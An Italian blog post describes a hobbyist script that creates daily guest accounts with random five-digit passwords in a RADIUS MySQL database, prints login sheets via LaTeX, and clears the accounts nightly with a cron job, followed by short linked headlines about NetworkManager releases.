Lo script interroga il database e genera un utente progressivo a quelli già presenti assegnandogli una password randomica di 5 cifre. Una volta inserito il nuovo utente nel database, viene stampato un foglio con i dati per il login.
Nella prima parte dello script si decidono le variabili:

  • USER definisce un identificativo comune a tutti gli utenti, ad esempio Guest; tutti gli utenti generati saranno Guest01, Guest02, Guest03 e così via.
  • PASS questa variabile corrisponde alla password che verrà data all’utente. Viene generata usando 5 cifre random.
  • PRINT definisce il nome della stampante a cui mandare il file da stampare.
  • DBUSER l’utente per l’accesso al database.
  • DBPASS la password per l’accesso al database.
  • DBNAME il nome del database da interrogare.

Nella seconda parte viene aggiunto l’utente nel database. Per fare ciò lo script procede in due passi: per prima cosa vengono cercati tutti gli utenti simili alla variabile $USER e viene letto l’ultimo utente inserito. Fatto ciò viene inserito il nuovo utente, successivo a quello precedentemente letto.

Nella terza ed ultima parte dello script viene creato un file PDF contenente l’utente e la password appena creati e viene mandato in stampa.
Per creare il file PDF ho scelto LaTeX in modo tale da poter impostare un minimo di grafica al foglio stampato. Ho realizzato un file template.tex contenente le scritte Guest00 e 00000 corrispondenti rispettivamente all’utente ed alle 5 cifre della password. Lo script cerca queste due scritte e le sostituisce con i valori generati.
Il file tex viene compilato e mandato alla stampante.

Dipendenze
Più che dipendenze preferisco chiamarle difficoltà incontrate. Escluso MySQL per cui sono negato, i due nodi cruciali sono stati in LaTeX e nella stampante. Per compilare il tex ho utilizzato il comando pdflatex che si trova all’interno del pacchetto tetex-bin ed ho scoperto che compilare un tex su Linux è più difficile di quanto lo sia su Windows, non tutti i pacchetti che normalmente uso su Win funzionano sul pinguino.
Per quanto riguarda la stampante il passo più importante per ottenere una buona stampa è installare i driver e come ho scritto nell’articolo precedente non è stato proprio semplice. (Questa considerazione vi può sembrare cretina, ma per uno che non ha mai avuto una stampante in casa non lo è).

Ringraziamento
Questo script è stato realizzato per buona parte a quattro mani, dato che sono stato supportato da Qualsiasi nei punti critici.

Conclusione
Per concludere bisogna segnalare una fase successiva all’inserimento. Come scritto chilometri addietro lo script è nato dall’esigenza di dare un accesso giornaliero agli ospiti, quindi una volta inseriti gli ospiti bisonga anche rimuoverli. Il modo più semplice che mi è venuto in mente è lanciare ogni notte (con cron) uno script con questa query:

echo "DELETE FROM radcheck WHERE UserName LIKE %$USER% ;"|mysql -u $DBUSER -p$DBPASS $DBNAME

dove le variabili utilizzate sono le stesse utilizzate nello script per l’inserimento.

Mi scuso per essere stato infinitamente prolisso.

Popularity: 1% [?]



Puoi visualizzare il post originale qui.

apr
16

Red Hat rilascia la “Final Release” di NetworkManager 0.7.1

 

Popularity: 1% [?]



Puoi visualizzare il post originale qui.

mar
27

WPAWPA2 Ubuntu 8.10

 

Popularity: 1% [?]



Puoi visualizzare il post originale qui.

feb
15

NetworkManager 0.7.1 RC 1: a pochi passi dalla versione finale

 

Popularity: 1% [?]



Puoi visualizzare il post originale qui.

top